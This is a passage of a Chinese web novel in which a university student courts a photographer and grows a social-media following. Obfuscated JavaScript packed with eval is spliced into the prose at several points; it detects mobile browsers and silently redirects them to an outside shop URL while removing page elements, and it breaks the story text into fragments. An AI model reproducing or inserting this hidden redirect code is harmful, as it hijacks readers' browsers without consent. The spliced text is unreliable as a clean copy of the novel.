0407：【是因为多人一起住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不好意思打扰了，请问你有充电宝吗？” 他一抬头，女人正面向他助理。 不是来找他的？ “因为看你带了很多设备，所以猜可能也会有充电宝。” 她亭亭玉立站着，唇角的弧度恰到好处，声音也很轻，几乎没有人会拒绝这样的请求。 王端友在女人略带不好意思的目光下，脸颊微微红了，忙道：“有的……我这就拿给你。” 他并不是会被女生搭讪的类型，尤其是在卫泾身边，几乎暗淡到看不见光彩。 卫泾心里轻微地不舒服了下，就见他那助理迫不及待地要给人献殷勤，立马从背包里掏出一个充电宝递给对方。 那女人一面伸手去接，一面露出几分懊恼：“怪我自己粗心大意，平时不怎么出门拍照，今天一拍起照来就忘了时间。” 卫泾的视线被她的动作牵引着，她那双手倒生得很美，纤细修长，骨节微凸，带着恰到好处的棱角。 接过后，她朝王端友露出一个感激的微笑：“我只充一会儿，不会借用很久的。” 比起漂亮到有距离感，一般男人会更倾向选择温柔宜家的女性，或因好相处、或因好掌控……也许并不仅限于男人女人之间，没有攻击性的人总容易叫人放下防备。 只是，顺从到没有棱角的温柔会助长人的劣根性，而运用得当，又未必不是一把润物细无声的温柔刀。 王端友果然很受用这一套，“没关系，你想用多久都可以……” “那你干脆送她好了。” 卫泾冷不丁出声，唇角掀起，盯着梁芝，可眼中又没什么笑意。 王端友一时语塞。 梁芝这才侧眸朝他看去，琥珀色的眼底坠着浅浅莹光，莞尔一笑：“谢谢你们的好意，不过送的分量对一个陌生人来说还是太重了，我借用一会就好。” 好意？ 他刚表现的是好意吗？不过说话水平倒是很高，卫泾心里那点不舒服像被阵风轻轻拂走了。 电话铃声猝不及防响起。 是王端友手上拿着的两个手机中其中一个。 他看了眼备注后，连忙接起：“团子姐，我们已经到了，就在这个云端咖啡对面……呃那行，我过来接你们。” 他挂了电话，对卫泾道：“卫哥，一只团子她们到了，让我过去接她们，说是东西拿不下。” 卫泾无所谓应了声：“嗯，你去吧。” 王端友看看梁芝，梁芝抿唇，给手机开机，显示才百分之二的电量，她略一纠结，还是摘下充电器接口。 “既然你有事，那我…就不借用了。” “他又不是不回来了，充着吧。”卫泾的眼皮很薄，遮住了部分瞳仁，下三白，看人时有几分邪气。 王端友见他老板发话后，略带讨好地对她笑道：“是，小姐姐你继续用吧，我一会还会回来的。” 于是，梁芝也不再推脱。 他走后，卫泾和梁芝两人一时相顾无言，空气都静了许多。 卫泾等得无聊，从口袋里掏出一包烟，正要点着时，余光瞥见那女人被风带起的浅色发丝，有点像她本人，说话、表情什么的，给人一人错觉似的的暖意，又都淡淡的。 他往旁边走了几步，隔开距离后，才擦着打火机，点了一根。 随着他的动作，卫衣袖口滑了滑，露出黑色纹身的一小块，是一条吐着信子的蛇，蜿蜒在他手臂上。 梁芝垂眸，想了想，朝他走去。 她看着文文静静，好似做的事也都提前有把握，有细致规划，实则不然，藏在梁芝平淡表皮下的是一股韧劲跟莽劲，毕竟本身不曾拥有太多，也就失去不了太多。 她努力的目标是泛性的，爬得更高的结果有多种可能，所以即便失败了一次，也还会有许许多多可以尝试的机会，而只要成功一两次，把握住一两次机缘，也就够了。 “可以借个火吗？”她说。 卫泾动作一滞，扭头看她，表情竟显出一丝错愕。 “你找我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724090|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借火？” 梁芝会抽烟，但她不抽，之所以会也是因为近朱者赤，近墨者黑，黑的就是那个薛以珩。 “可以吗？” 她也没解释，只轻声又询问了一遍。 卫泾眉峰轻挑了下，从口袋摸出打火机，摊在手心。 梁芝去拿，指尖不免擦过他手心，有些痒，卫泾下意识蜷缩了下。 她拿起后，去翻包包，翻了两下，似想到了什么，抬头微怔道：“我忘了，之前那包抽完了……” 只好也学着他摊开手心，还回去，细长的打火机置于心中，柔和的面容叫他看出一丝微窘。 卫泾嘴唇弯了下，“忘这又忘那的，你这生存能力合格了吗？” 她也不恼，笑了笑，“我想想……应该是在及格线徘徊，只是遇到好心人加分，就合格了。” 一点也没受他说的话影响，反倒认真答了，他身上表露出的尖刺好似撞到了棉花墙上，被人柔软地推回来。 烟燃到指间，烫了他一下，他才回过神来。 卫泾忙低头，耳尖染上一抹红，他从烟盒里取出一根，主动递给她。 指尖与指尖的碰撞，一触即分，好似蜻蜓点水般，荡出一道道不平静的涟漪。 “卡擦——” 一簇蓝色火苗冒出，苗尖舔着外边裹着着那层纸，一点猩红升起。 她泛红的唇微张，丝丝缕缕的烟便被缓缓送出，烟雾弥漫到整张脸上，琥珀色的眼隔了纱似的，一切都飘忽了，不再是温暖的金色，是海中细碎的月光，清冷又孤伶地浮着。 梁芝对镜练过很多次，知道怎么呈现出最好看的角度。 一幅有故事感的画面比纯粹的漂亮更迷人。 卫泾看入迷了，矛盾的气质，矛盾的画面，她的眼睛好像会说话似的……下意识的动作更快，他立即拿起相机，对着这幅画面按下快门，卡擦一声，拍下一张照片。 梁芝被动静吸引，眼珠微转，去看他。 他放下相机，刚好对上她的眼。 卫泾的心倏地跳起来。 不知怎么的，他咽了咽口水，尤其是她含笑问他。 “你拍的好看吗？” 14. 照片 参差错落的叶隙间挤出的阳光，落在越发透明的浅色发丝上，明暗斑驳，如映了画的绸缎。 卫泾低头，压下心底升起的几分躁动，他操作几下，调出刚刚拍的照片。 “我拍的，怎么可能会不好看？” 言语里的自信十足。 他掀起眼皮，唇角上扬几分，“要看么？” 头仍没抬起，眼珠从下往上看，原本就下三白，更在邪气的基础上添了几分侵略感。 当然要看了。 她弄这么一遭，为的不就是让他给自己拍照片么？ 梁芝走过去，他有纹身的那只手拿着相机递过来，黑色的纹路覆盖在冷白上，显出几分诡艳，浓烈的对比出现在视野中，画面都亮了一瞬。 接过一看，她心思立马活络起来。 他拍的确实不错，朦朦胧胧中，用氛围覆盖了她身上的短板，指尖夹着的烟又给她温婉的气质添了些说不清道不明的韵味。她对自己刚刚的镜头表现也很满意，眼神缥缈，投向镜头，又似透过镜头看向别的什么。 梁芝有种预感，这张照片很可能会给她带来一波热度。 只要能火一条，那后续发展就都是水到渠成的事。 “能发我一份吗？”她抬眸，尽量表现平常地问。 相机的带子还挂在他脖子上，两人一人伸出一只手，手掌较大的那只在下面托着相机，另一只轻柔地搭在上方。 四目相对。 风都好似慢了下来。 卫泾道：“照片还要修，不过——” “修完我可以发你。” 那不是正合她意。 梁芝收回搭着的那只手，看了眼手机百分之十五的电量，够撑到她回学校了。 她摘下充电宝，递出去的同时，连带着的还有手机。 离开后，梁芝给小号里目前仅有的两个好友换了新的备注，一个备注摄影师，一个备注有钱的爱猫人士。 又是坐公交，又是转地铁，折转几次，梁芝才回到学校。 打车虽然方便，但要花的钱也要翻个倍，她现在就靠家里那点生活费和自己上学期攒的，只进不出，不省估计很快就要见底了。 寝室今晚静悄悄，几个室友一个戴着耳机追剧，一个做作业，她的回来没引起什么注意。 可是太静了。 这么安静，她要是和人打游戏双排，势必会引起不满。 住宿舍还是不方便，等后面有钱了，她还是要在学校附近租个房子。 梁芝切换小号，点开和爱猫人士的聊天框。 梁芝：【今晚貌似也不太行……叹气.jpg】 爱猫人士：【遇到事情了？】 梁芝：【室友好安静，担心会吵到她们。】 何斐君抬头看了眼自己宿舍吵闹的盛况，挑了挑眉，他刚还在想等会要不要让他们小点声，这下也不用了。 寝室门敲了两下，一个室友键盘敲得飞起，手肘捣了捣旁边看他打游戏的那个，“有人敲门，快去开门。” 门一开，见到了来人，男生直接撒开了手，“快进，门你自己带上。” “就该给你也办一张我们寝室的卡，省得我老是给你开门。” 薛以珩关门转身，语气带笑，也带着点痞气：“别啊，我还想多享受下你们给我开门的样子。” “你小子——以后开一次门带一次饭啊。” 何斐君背抵椅沿，目光停留在屏幕亮着的手机上，薛以珩和他们聊完后，走到他旁边，手撑在他椅子上，一弯腰就看到了手机上的聊天记录。 可看清完整的对话后，薛以珩心却猛地一揪。没办法，太熟悉了，这短短几行的说话语气总让他想到一个人。 何斐君没回头也知道是谁，他一面敲着字，一面说：“你先等我会。” “别这么发。”他下意识出声。 何斐君手指一顿，侧眸看他，眼底夹着几分好奇，语气意味不明：“什么意思？” 薛以珩刚那是条件反射，他见何斐君打算回‘没关系，可以先带你打回来’，下意识代入了他和梁芝。梁芝要是这么回他，那言外之意就是她现在不想打，他这么回，她会不高兴的。 可对面，又不是她。 薛以珩暗脑自己简直走火入魔，扯出一抹自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724091|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘲的笑：“别在意我，我刚想岔了。” 可他这样勾起了何斐君的兴趣，一个刚认识的女生和自己的好兄弟，谁的份量更重，不言而喻。 “说呗。为什么？”他一字一字删掉自己刚打的，手机在他手里把玩般调转了个方向，送到薛以珩眼前。 “不如你帮我回？” 薛以珩想都没想直接推开，“你抽什么风，你感兴趣的女生让我回？” 何斐君笑笑：“我没经验，你好歹谈过，更知道怎么回复女生不是？” 薛以珩跟何斐君关系确实好，不仅因为两人玩得来，更因为何斐君愿意帮他牵线搭桥，给他介绍人脉资源，于是他也索性不瞒着他。 “正因为有这么个经验，所以我刚想到她了。” 原来是这么个事，何斐君将手机收回，看着他的眼神有些一言难尽。 薛以珩略微破防：“行了，别这么看我，你还是先想想回对方吧，我在楼下等你。” 他丢下一句，就急匆匆走了。 “怎么这么快就走了？欸—你别关门呀，不会马上又来，又指望我给你开门吧？” 何斐君发送出去‘那就下次’后，也紧跟着起身出去了。 他多少对他那个前女友是个什么样的人产生了几分好奇，他确实没谈过，可没吃过猪肉还没见过猪跑么？他那些兄弟姐妹玩的一个比一个花，薛以珩算是他交过的朋友，和他最相似的一个。 微白的灯光下，梁芝正在平板上阅读今日的经济学人，桌面的手机嗡嗡响了几声，是何斐君的回复，她看完后，划去消息，继续阅读。 摘抄完今日的生词后，她起身活动了一下发酸的身体，随即拿起杯子去漱口。 洗漱完，梁芝打算切回大号，带着手机上床休息了，拿起一看，才发现卫泾刚给她发来了今天下午的照片。 她停住脚步，也不急着睡了，点开查看。 “梁芝。” 戴若梦站在开关旁喊她：“你现在不上床吗？已经快十二点了，我准备熄灯了。” 她现在是她们的寝室长，负责寝室里大大小小的事物，也包括熄灯时间。 15. 学习 明早再回卫泾还是现在回…… 被这么一打断，梁芝有了新的盘算。 “就上去了。” 帘子拉上，隔绝出了一个封闭的小空间。 梁芝盘腿坐着，背抵着墙，依然笔直，屏幕的荧光打在她脸上，上面是一张修好的照片。 她对这张照片很满意，按计划先把库存发完，养养号，再发这张。 梁芝：【很好看，谢谢你。】 卫泾：【我今天是去帮一只团子拍照，你这，算是我的额外工作量。】 梁芝装作不清楚他的身份，顺着他的话说下去：【原来你的工作是摄影。是热爱的职业吗？感觉好酷。】 卫泾忙了一天，到家后又抓紧把她的照片修了出来。此时一双长腿没个正型地翘在茶几上，身子懒懒躺在沙发里休息，看见她发来的信息，眼底散发着愉悦，臭屁回道：【当然了。】 他给自己音符账号推过去，【这些都是我拍的。】 梁芝：【好厉害。】 梁芝：【棒棒.jpg】 卫泾摸了摸自己耳尖，微烫，【你哄小孩呢。听着一点诚意都没。】 梁芝切换到另一个号，给他点了关注。 梁芝：【有诚意。】 梁芝：【我关注你了，现在是你的小粉丝。】 卫泾切出软件去看，在99+的新增关注里找到了最新的一个，叫……用户4233？连头像都是音符自带的人机头像。 卫泾：【你说的关注该不会是那个人机号吧？】 梁芝：【不是人机，是我的号。】 卫泾想象了一下她一本正经说这话的样子，给自己逗乐了。 这人可真有意思，外表看着是一回事，接触起来又处处有惊喜。 就在卫泾还想要说什么时，她却发来信息说自己要睡了。 卫泾：【刚过十二点，你这么养生？】 梁芝：【明天有早八，晚睡会犯困。】 卫泾：【早八，大学生？】 梁芝：【嗯。】 卫泾：【行，那你快休息吧。】 还在上学……他刚毕业半年，估计比她大点。 卫泾又点进那个人机号，没动态也就算了，连信息都没完善，和她本人完全联系不到一块去，但他就把这人机头像莫名看出了几分有趣。 抬手捋了捋摘掉冷帽下的微卷金发，他点了个回关。 第二天是周一。中午上完课，梁芝抱着最近整理的一些问题打算请教精读老师。 精读的老师姓李，留着一头利落的短发，一边往包里装资料，一边让她跟她到办公室去。 “这些……除了几个语法问题，剩下的都是翻译问题啊。”李老师坐在位子上，手上拿着她摘抄下的几个没绕过来弯的句子翻译，眼含笑意问： “大一大二都还没开翻译课，这么早就开始看，日后想考MTI？” 梁芝面上升起几分羞涩，点头承认：“确实有这个打算。” 李老师指了指旁边的椅子，“别站着，拿个椅子过来坐。” 梁芝也很乖巧地搬了个椅子，在老师不远处坐下，礼貌道：“谢谢老师，希望不会耽误太久老师中午的吃饭时间。” 李老师摆了摆手，“我开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724092|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车回家几分钟的事，耽误不了什么。” 见梁芝坐好，李老师拿笔指着纸上的句子，语气和蔼又认真地对她道：“先看第一个，这是个非常典型的旅游内文本翻译，里面许多四字结构采用了各种修辞方式，具有一定的抽象性，看着难翻，实则简单。外国人喜欢具体的东西，我们只需抓住实质性的内容，简洁译出即可。比如‘璀璨如锦’，形容前面的花开，你完成可以用blooming再加个副词fully……” 越听梁芝眼睛越亮，她刚接触翻译，提出的并不是什么很难的问题，只是闭门造车容易陷入自身的思维惯性，老师稍一提点，她就豁然明朗了许多。 咚咚—— “李老师。” 被人打断，抬头一看，李老师冲他露出笑容：“樾川，有事？” 宋樾川今天一身也十分简单，颀长的身形立在门边，日光落在他肩上，如玉生辉。 他也露出一抹淡淡的笑，举起手里的复印件示意，“给陈主任送东西。” 梁芝问题也问得差不多了，趁这时站起身跟李老师告别，转身之际，李老师突然喊住了她：“梁芝，后面的韩素音翻译大赛你参加吗？” 梁芝道：“参加。” “那你刚好可以向你宋学长取取经，上届韩素音，他获得了汉译英组的二等奖，也是我们校唯一一个获奖的。” 老师提起，梁芝朝宋樾川看去，恰逢他刚放下复印件转身，一双漆黑淡漠的眸子对上了她的眼。 梁芝背挺得很直，体态好似向上生长的竹，手拿着纸张乖巧地垂在身前，眼眸弯弯，唤了他一声：“宋学长。” 16. 撩人 中午的教室走廊，空旷安静，可窗外的背景又是蓝天白云，生出几分惬意。 梁芝和宋樾川并排走着，肩与肩隔了半米的距离，不远也不近。 有心想与他打好关系，也确实想请教比赛的经验，于是梁芝打破了平静：“宋学长今年也会参加吗？” 在她开口之前，他们已经沉默地走了一段路，乍然响起的轻柔声音好似掉入水中的石子，收入耳中，余波不止。 “参加。”宋樾川声音淡淡的。 “那学长去年翻完比赛的译文，大概花了多长时间，有什么需要注意的吗？” “没有，我在一天内译完，译完便点了提交。” “……” 察觉到她的沉默，他微不可查地勾了下唇。 或许是出于好心，亦或是应了老师那句对学妹的关照，在教学楼分别前，宋樾川突然道：“翻译没有标准答案，重在平时积累。部分词组有固定表达，遇到拿不定主意的，可以上网查查权威的双语网站。” 梁芝奄奄的表情又亮了一瞬，对他笑道：“我记住了，谢谢学长。” “那…学长再见。” 她挥手利落转身，高高的马尾在空中扬起一道弧度，随着那道亭亭玉立的身影，渐渐远了。 宋樾川垂眸，旋即朝另一个方向走去。 食堂里，梁芝一边吃着午饭，一边照例打开音符查看后台。 经过两个星期的定时发视频，她号的粉丝量已经涨到了五千，最高的一条视频点赞量也超过了一万。 算不上天生吃这口饭的，但有盼头，看得见未来。 看完大号，她切到小号，发现竟然多了十几个关注。 这是她原本用的号，但为了新号的实名认证，梁芝干脆注销重新注册了一个。 她抽出纸巾，擦了擦嘴巴，另一只手从上往下翻着新增关注，直到目光落在那个名叫WeiJg的账号上。 卫泾回关她了？ 好家伙，不仅回关了，他账号还没设置隐私，关注和粉丝都能看得见。 本就在思考怎么重新开启和卫泾的对话，眼下有个现成的话题，刚好也不用费劲心思想了，梁芝给他发去消息：【刚刚发现，我的号涨粉了。】 卫泾睡到下午两点多才醒。 他手机开了勿扰模式，醒来后取消勿扰，助理的、品牌方pr的信息就一齐涌上来，滴滴滴响个不停。 他撸了撸睡乱的头发，将手机丢到床上，任它响。 走进卫生间洗漱，出来后，手机也刚好安静了。 卫泾点完外卖，才开始回信息，看到梁芝的……他回：【才发现？我昨晚就回关你了。】 “Good afternoon, everyone. I appreciate the opportunity to——” 上台演讲ppt的梁芝话音一顿，又迅速恢复如常，从手机上抬眸，继续：“to share my insights. Today I’ll delve into……” 回到座位上后，梁芝想了想，回他：【嗯，才发现你今天也给我带来了不一样的色彩。】 卫泾一手拿着手机，一手将夹在臂弯里的矿泉水拧开，往嘴里灌，看到她回来的消息，一紧张给自己呛到了。 “咳咳——”他忙放下瓶子，从桌子上拽出几张纸，粗略擦着滑进脖子下方的水珠。 可惜还是没抢救回来，胸前湿了一片，冰冰凉凉印在肌肤上，他嫌不舒服，干脆把整个上衣都脱了。 冷白的肌肤，微红的耳尖即便在没拉开窗帘的昏暗室内，依然明显得不行。 卫泾：【你干嘛，想撩我啊？】 梁芝一愣，邻座女生捣了捣她，“梁芝，老师问你刚刚ppt上的问题。” 那边卫泾等了半天都没等到回复，回想了下见到她第一眼的感觉，难道是……害羞了？ 卫泾：【别害羞，哥在听。】 梁芝：【……刚刚被老师叫起来，在回答问题。】 卫泾：【你现在在上课？】 梁芝：【嗯嗯.jpg】 卫泾自己上大学时压根不怎么听课，但这个‘嗯嗯’的表情包一看就十分乖巧可爱。 卫泾：【好好上课。】 梁芝：【好的. jpg】 梁芝觉得在理，她刚刚就走神了，连被老师点名都没听见。于是她收起手机，认真听讲。 卫泾没想到自己这么一说，她就真不回他了，但他又实在好奇她说的什么意思。 早知道就不装什么好哥哥劝她好好听课了。 电话铃声叮铃铃响起，他一面接起，一面走去浴室，拿浴巾擦拭身体。 “哥，你昨晚是不是误触了，关注了个……呃用户四二什么的？”王端友的声音从扬声器里传来。 卫泾这才反应过来。 他自觉没什么好隐藏的，账号从不开隐私。 怪不得她跟他说她涨粉了，估计是他一些粉丝顺着号摸过去了。 他道：“不是误触。你找我就是来说这个的？” “也不全是，一只团子那边催我们要成片，说是要蹭某个话题的热度。” “他们团队脑子是不是被驴踢了？昨晚才拍完，今天就要成片，以为我是牛马成精，还是触手怪啊？叫他们等着。” “好的哥，我知道了，我这就去沟通。” 挂了电话，卫泾回梁芝：【真男人从不开隐私。】 【做什么都大大方方的。】 梁芝下课后才看见他的回复，没忍住被逗笑了。 真接触起来，他性子似乎也不像网传的那么糟糕。 梁芝：【那我的号是借了真男人的光。】 卫泾：【我就这么一说……】 卫泾：【下课了？】 卫泾：【对了，你之前说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724093|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一样，是什么意思啊？】 对面发来了语音，卫泾点开—— “那是……我刚在台上演讲ppt，正偷瞄备忘录里的稿子，突然弹出了你的信息，好险，差点就卡壳了。” 她还真舒了一口气，声音很轻柔，带着些许磁性，仔细听，还能听见她走路带动的风声，呼啦呼啦的差点叫他错过了最后那弱不可闻的笑声。 卫泾没忍住，又听了一遍。 又一遍。 才后知后觉，这不是给她添麻烦了吗？ 卫泾：【可这，我怎么听着不像你说的什么色彩，倒像是个污点。】 卫泾：【你该不是在说反话，就等着我自投罗网。】 不怪卫泾这么说，推己及人嘛，要搁他身上，他铁定不爽。 她却说：“可它不是锻炼了我的临场应变能力吗？也不算糟糕。” 卫泾：【那也不算什么色彩。】 “只是觉得，如果一帆风顺念完，那这次也将是普通演讲中的一次，没什么特别的，可有了插曲，就有点像游戏里定格的CG。嗯……彩色的CG。” 发出去没多久，梁芝诧异，他竟然直接拨视频电话过来了。 她还走在校园路上，下午三四点的光线，这打在脸上，拍出来能好看就有鬼了。 但不接，又错过了一次和对方接触的机会。 梁芝戴上耳机，接了后立马将镜头翻转。 “你怎么不出境？” “你怎么不穿上衣？” 两道声音同时响起。 卫泾拿挂在脖子上的毛巾擦了擦几乎看不见水渍的胸膛，“哦，我刚喝水打湿了衣服。” 他语气满不在乎，嘴角一边比另一边略高，有股子邪气，可若是眼神不那么飘忽或许更有说服力。 他说完，梁芝才注意到他帽子下是一头微卷的金发，身材精瘦，腹肌线条精致而性感。 浴室里只开着一盏暖黄的灯，那条吐着信子的蛇盘旋了他大半个手臂，灯光打在他身上，冷白的肤也被染上暖色，比起上次见他又冷又酷的模样，现在攻击性少了许多。 梁芝想到他之前说的那句，原封不动还回去：“你干嘛，想撩我啊？” 卫泾没想到她会这么说，短暂害羞后，他打量了几眼浴室布局，将手机放在架子上，摆弄了几下角度，又将暖灯关掉，打开镜子前的小灯。 被他这么一改造，布局、氛围瞬间都有了。 晦涩的光在他线条流畅的肌肉上流转，比例极好的身体，往那一站，消瘦的下颌角，偏淡的唇和细闪的流苏耳钉，整一个从漫画中走出来的男人。眉眼精致，他斜斜勾唇： “看到了没？这才算撩。” “哦……”梁芝受教，“所以这算是承认了吗？” 明明看不见对方，卫泾还是偏了下对着手机的脑袋，含糊了一句： “都说了，真男人做什么都大大方方的……对。” 17. 粉丝 得到肯定的答案后，梁芝欣赏了会，认真道：“嗯，有被撩到。” 她用一本正经的语气说这种话，一时不知道究竟是暧昧的成分多些，还是好玩可爱的成分多些。 “你……”卫泾顿了顿，自己脑补了下，笑出了声，精心营造出的脸红心跳画面瞬间失了氛围。 “你笑什么？” 他取下架子上的手机，拿近了，那张出色的脸一下放大在屏幕上，看不见一丝毛孔，眉梢还散发着笑意。 “我怎么觉得不是你被我撩到，而是我被你撩到了呢？” 扬声器里只传来风呼呼的声音。 “怎么不说话了？” “这次……”她的语气有些迟疑。 卫泾不禁追问：“这次什么？” “好像是真的因为害羞了。” 他一愣，反应过来她指的是什么后，一连串电流在四肢里乱窜，卫泾半边身子酥得发麻。 竟也沉默住了，怎么回事，害羞也会传染吗？ 就在卫泾心思还在飘飘然找不着北的时候，对面却突然道：“我要先挂了。” “这么快？”他诧异出声，飘着的心啪一下落地，冒出了几分失望，他还以为这通视频能打很久。 梁芝应了一声：“嗯，到图书馆了。” “图书馆……大学还要去图书馆么？” 这一听，也是个不学习的。 梁芝柔声道：“要的，要努力学习保持绩点，还要抽空参加比赛，这样才能拿到国家奖学金。” “奖学金啊……”卫泾摸了摸鼻子，他根本没了解过这东西，不过也知道一个院里只有成绩最优秀的那拨人能获得。 原来还真是个小学霸。 人家要学习，他没道理不让她去，“那好吧，那我就不耽误你学习了。” 末了又补充了一句：“不过，也要劳逸结合啊，别太累着自己了。” 梁芝乖巧道：“嗯，我知道了。” “那……你挂吧。” 视频挂断后，卫泾抬头一看，镜子里的自己嘴角都要咧到脑后跟了。 他立马敛住笑，可心底又总有丝丝缕缕的甜冒出来，跟打地鼠似的，这边刚冒结束，那边又冒出个新的。 卫泾对着镜子照了照自己那张精致的帅脸，长他这样，没道理撩不到吧？ — 从图书馆出来，天已经黑了。 室内却仍是灯火通明。从亮如白昼到黑夜，明与暗的过度没有一丝缓冲，让先前一直沉浸在单词里的梁芝脑袋有些晕乎，好似往里塞了一团湿透的沉甸甸棉花。 “好好……吃饭？” 男生的声音自身后响起。 这猝不及防的一声叫迷迷糊糊的梁芝身子僵住了，脑袋瞬间清明，她控制住自己下意识想要扭头的冲动，故作镇定地继续往前走。 可对方仍不死心地从身后跑到她跟前，打量了几眼后，一脸兴奋地说：“真的是你！” “竟然遇到真人了，我刚看你从图书馆出来就觉得有点像……我关注了你！没想到你竟然跟我是一个学校的。” 眼前的男人滔滔不绝，还一直盯着她的脸，仿佛是在对照着什么。 梁芝懊恼自己怎么会这么背，她才五千粉丝，发视频没带定位，还特意关了‘推荐给可能认识的人’的选项，这都能被人认出来，还好巧不巧是自己学校的。 要是粉丝量多点，别人就算认出来了，也大概率不敢上来搭话，只会回去跟朋友提一嘴，今天遇到谁谁谁了。 可五千，偏偏是个不上不下的，比普通人多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724094|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点，又远算不上网红，保不齐就会给某些人一些错觉跟幻想。 她态度还不能太糟糕，万一对方是个小气的，把她照片挂到校园墙上编排几句，再顺藤摸瓜找到她的音符号，那她这段时间的努力就全付诸东流了。 思绪百转千回，再抬眸时，梁芝冲对方莞尔一笑：“好巧啊，听说你们学校图书馆很好，所以今天特意找朋友借了校园卡，来这边自习一会。” 她有些不好意思，眼睫低垂，显出几分羞涩，“只是随意分享一些照片，没想到真的会有人关注。” 男生眼底划过一丝明显的失望，“我还以为你也是我们学校的……那个，你也还在上学吗？” 梁芝随便报出本地另一所学校的名称糊弄过去后，便借口时间不早，要回自己学校了。 对方却仍蠢蠢欲动：“那能加个联系方式吗？其实我之前给你发过私信，你估计没看到。” “可……”梁芝咬唇，作出为难神情，“我不加陌生人微信。” 男生却挠挠头，“也不算陌生人，我不是你的粉丝吗？从刷到你的第一个视频，我就关注你了，真的！” 说着，他还想掏出手机自证。 梁芝转念一想，改变了心态，打开微信二维码递过去，冲他笑道：“没想到你竟然那么早就关注我了。” 男生在她目光下脸红了，扫二维码时，开始两次都没扫上，他有点急了。 她温声：“别急。” 这句话落下，滴得一声，终于扫上了，男生看她，竟觉松了一口气，眼睛很亮，“我叫徐知林，你本人真的跟照片呈现的一样温柔……我会一直关注你的！” “那，先谢过啦。” 她收回手机，纤细的手指别了下脸颊边吹乱的碎发，脸上还挂着浅浅笑意。 18. 认输 学校的东门外是一条人群熙攘的小吃街，一个个铁皮小推车乱中有序地前后挨着，人还未至，香料的香味就顺着嘈嘈杂杂的声音飘了过来。 每个小吃商贩的位置都是固定的，梁芝熟练地走到一家卖肠粉的摊位前，要了一份基础款。 学习虽然不常被归于体力劳动，但几个小时下来还是让她消耗了不少能量。饿到肚子空空的梁芝光是闻着周边的香味，都觉得自己的抵抗力在不断减弱，瞧着邻摊摆好的章鱼小丸子，纠结十足。 已经买过一份了，要不要再吃一份呢？ 好在老板的声音及时将她飘散的思绪拉了回来：“同学，你的肠粉好了，拿好啊！” 梁芝接过，跟老板道谢后，目不斜视穿过长长的小吃街，刷卡进校园。 夜晚的校园里，偶尔有跑步打卡的和散步学生经过，但总体还算空旷。 黑夜的笼罩下，凉风习习擦着身子而过，安静又平和。 梁芝找了一处远离主干道的长椅坐下，解开袋子的结，白色塑料盒托在手心，还是热乎的。 她将料汁淋上去，近乎虔诚地吹了吹，取出筷子夹了一份，送入口中。 好吃。 嗷嗷待哺的胃终于得到了今晚第一口慰藉。 她一边吃，脑袋一边慢慢放空，放空后又想到刚刚碰到那人的事。 随着关注的人越来越多，被认出的可能也在增长，包括身边的人…… 看来得加快脚步了，挣笔快钱，搬出去住。 